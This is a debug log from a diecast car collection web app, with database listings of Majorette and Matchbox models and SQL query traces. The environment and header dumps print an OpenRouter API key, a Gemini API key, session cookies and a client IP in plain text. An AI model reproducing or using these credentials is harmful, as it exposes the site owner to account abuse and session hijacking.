      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:25.282Z server-connect:router Serving templateView /
2026-02-04T07:04:25.283Z server-connect:app Executing action step identify
2026-02-04T07:04:25.283Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:25.283Z server-connect:output identity: 1
2026-02-04T07:04:25.283Z server-connect:app Executing action step restrict
2026-02-04T07:04:25.283Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:25.283Z server-connect:output restrict: undefined
2026-02-04T07:04:25.283Z server-connect:app Executing action step restrict
2026-02-04T07:04:25.283Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:25.283Z server-connect:output restrict: undefined
2026-02-04T07:04:25.283Z server-connect:router Render template layouts/main
2026-02-04T07:04:25.284Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:30.107Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:04:30.108Z server-connect:app Executing action step identify
2026-02-04T07:04:30.108Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:30.108Z server-connect:output identity: 1
2026-02-04T07:04:30.108Z server-connect:app Executing action step restrict
2026-02-04T07:04:30.108Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:30.109Z server-connect:output restrict: undefined
2026-02-04T07:04:30.109Z server-connect:app Executing action step condition
2026-02-04T07:04:30.109Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:04:30.109Z server-connect:app Executing action step update
2026-02-04T07:04:30.109Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:04:30.110Z server-connect:output update: { affected: 1 }
2026-02-04T07:04:30.110Z server-connect:app Executing action step upload
2026-02-04T07:04:30.110Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:04:30.110Z server-connect:output upload_image: []
2026-02-04T07:04:30.110Z server-connect:app Executing action step repeat
2026-02-04T07:04:30.110Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:04:30.110Z server-connect:output repeat_images: []
2026-02-04T07:04:30.110Z server-connect:output condition: undefined
2026-02-04T07:04:30.411Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:30.412Z server-connect:app Executing action step identify
2026-02-04T07:04:30.412Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:30.412Z server-connect:output identity: 1
2026-02-04T07:04:30.412Z server-connect:app Executing action step restrict
2026-02-04T07:04:30.412Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:30.412Z server-connect:output restrict: undefined
2026-02-04T07:04:30.412Z server-connect:app Executing action step paged
2026-02-04T07:04:30.412Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:30.415Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:30.721Z server-connect:router Serving templateView /
2026-02-04T07:04:30.721Z server-connect:app Executing action step identify
2026-02-04T07:04:30.721Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:30.722Z server-connect:output identity: 1
2026-02-04T07:04:30.722Z server-connect:app Executing action step restrict
2026-02-04T07:04:30.722Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:30.722Z server-connect:output restrict: undefined
2026-02-04T07:04:30.722Z server-connect:app Executing action step restrict
2026-02-04T07:04:30.722Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:30.722Z server-connect:output restrict: undefined
2026-02-04T07:04:30.722Z server-connect:router Render template layouts/main
2026-02-04T07:04:30.722Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
